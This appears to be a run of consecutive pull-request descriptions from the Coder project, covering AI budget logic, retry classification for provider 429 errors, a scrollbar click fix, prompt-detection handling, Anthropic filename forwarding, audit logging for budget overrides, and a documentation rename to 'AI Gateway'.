picks the largest group budget across the user's groups, ties broken
alphabetically.
For now, I keep the logic under `coderd/aibridge/budget`, but that may
change during the implementation of budget enforcement.
Fixes CODAGT-495
Provider 429 responses that mention quota or billing were classified as
non-retryable usage limits before the rate-limit rule could run, which
suppressed retries for Gemini and Azure OpenAI rate limits.
- Treats broad quota and billing prose as rate-limit retryable when the provider returns HTTP 429.
- Preserves `insufficient_quota` as a terminal usage-limit signal for OpenAI billing exhaustion.
- Includes structured provider details in usage-limit matching so response-body error codes are classified consistently.
Generated by Coder Agents on behalf of @johnstcn.
The Agents chat list scrollbar swallowed clicks on the per-row controls
(the actions menu, timestamp, and unread/shared indicators). PR #26016
added a 24px invisible hit-target to the shared `ScrollArea` thumb,
anchored to the thumb's right edge and extending left. On this sidebar
the visible scrollbar is only ~6px wide (`w-1.5`), so the hit-target
reached ~18px left of it, on top of the controls just inside the edge.
This adds an optional, default-preserving `scrollThumbClassName` prop to
the shared `ScrollArea`, threaded through `ScrollBar` to the thumb the
same way `scrollBarClassName` already is. When the prop is omitted the
output is byte-for-byte unchanged, so every other scrollbar keeps the
24px target. The Agents chat list passes `before:hidden` to drop only
the expanded hit-target: the visible 6px thumb stays draggable and the
scrollbar looks identical, so there is no visible change while the
controls beside it become clickable again.
A new `ScrollArea` story (`ThumbHitAreaOverride`) uses `type="always"`
so the thumb is guaranteed to render, then asserts the default keeps the
24px `::before` target while the override sets `display: none`.
Refs #26016
_Disclosure: produced using Opus 4.8_
I've noticed recently that some prompts are not displaying correctly.
<img width="1388" height="509" alt="image"
src="https://github.com/user-attachments/assets/fad3812f-e42d-4398-a16c-a0e7f924455d"
/>
The cause is the `mid-conversation-system-2026-04-07` beta. When
enabled, the client appends a trailing `role: "system"` message after
the user's text (e.g. an injected skills list):
```json
"messages": [
{ "role": "user", "content": [ "hey how are ya" ] },
{ "role": "system", "content": "The following skills are available..." }
]
```
Our prompt detection algo was being subverted since we only check the
last message if role=user.
Previously, fantasy's Anthropic provider adapter accepted PDF and text
FileParts but dropped the filename on the floor, so Claude (direct or
via Bedrock) saw the document bytes without any handle and could not
answer questions like "what's in foo.pdf". Other providers (OpenAI,
Gemini, OpenRouter, Vercel) already forwarded filenames.
Bumps `coder/fantasy` past
[coder/fantasy#38](https://github.com/coder/fantasy/pull/38), which
sanitizes `FilePart.Filename` and sets it as the Anthropic
`DocumentBlockParam.Title` for both `application/pdf` and `text/*`
attachments, and emits a `CallWarning` for unsupported `FilePart` media
types instead of silently dropping them.
On this side, plumbs the resolved filename through `partsToMessageParts`
so the `FilePart` literal carries it into the provider. The existing
`TestModelFromConfig_AnthropicPDFFilePartReachesProvider` regression
test is extended to assert the outbound Anthropic request includes the
sanitized title (`quarterly_report.v1.pdf` becomes `quarterly report v1
pdf`).
Closes CODAGT-545
Relates to
https://linear.app/codercom/issue/AIGOV-285/add-user-budget-overrides-table-and-crud-api
Adds audit-log support for `user_ai_budget_override` mutations. Without
it, an admin could quietly change a user's per-user spend cap (e.g. from
`$500` to `$50`), reassign it to a different group, or delete it
entirely with no record of who did it.
Both write (`create-or-update`) and delete actions now generate audit
log entries. Unlike group AI budgets, which only track `spend_limit`,
overrides also track `group_name`: an override can be reassigned to a
different attributed group, so that change needs to show up in the diff.
The raw `spend_limit_micros`, IDs, and timestamps are ignored in favor
of the human-readable `spend_limit` and `group_name`.
Depends on #25439.
## Screenshot
<img width="1343" height="514" alt="image"
src="https://github.com/user-attachments/assets/aee30f58-6e81-435e-9bca-5bc98f49d8d3"
/>
Updates hand-written documentation to use "AI Gateway" instead of "AI
Bridge" as a follow-up to the UI rename in
https://github.com/coder/coder/pull/26161#issuecomment-4660014072.
Changed files:
- `docs/ai-coder/ai-gateway/clients/codex.md` — display name and config
key (`aibridge` to `ai_gateway`) in TOML config examples
- `docs/ai-coder/ai-gateway/clients/factory.md` — display names in JSON
config examples and prose
- `docs/ai-coder/ai-gateway/monitoring.md` — structured logging
description
- `docs/ai-coder/ai-gateway/ai-gateway-proxy/setup.md` — CA cert example
filenames (`coder-aibridge-proxy-ca.pem` to
`coder-ai-gateway-proxy-ca.pem`)
- `docs/ai-coder/ai-gateway/clients/copilot.md` — CA cert example
filenames
- `docs/ai-coder/ai-gateway/clients/index.md` — CA cert example filename
Generated reference docs (`docs/reference/cli/`, `docs/reference/api/`)
and `docs/manifest.json` are generated from Go code and will update
automatically via `make gen` in the context of AIGOV-230 (API swagger
tags) and AIGOV-231 (CLI help).
Refs https://linear.app/codercom/issue/AIGOV-233
> Generated by Coder Agents on behalf of @ssncferreira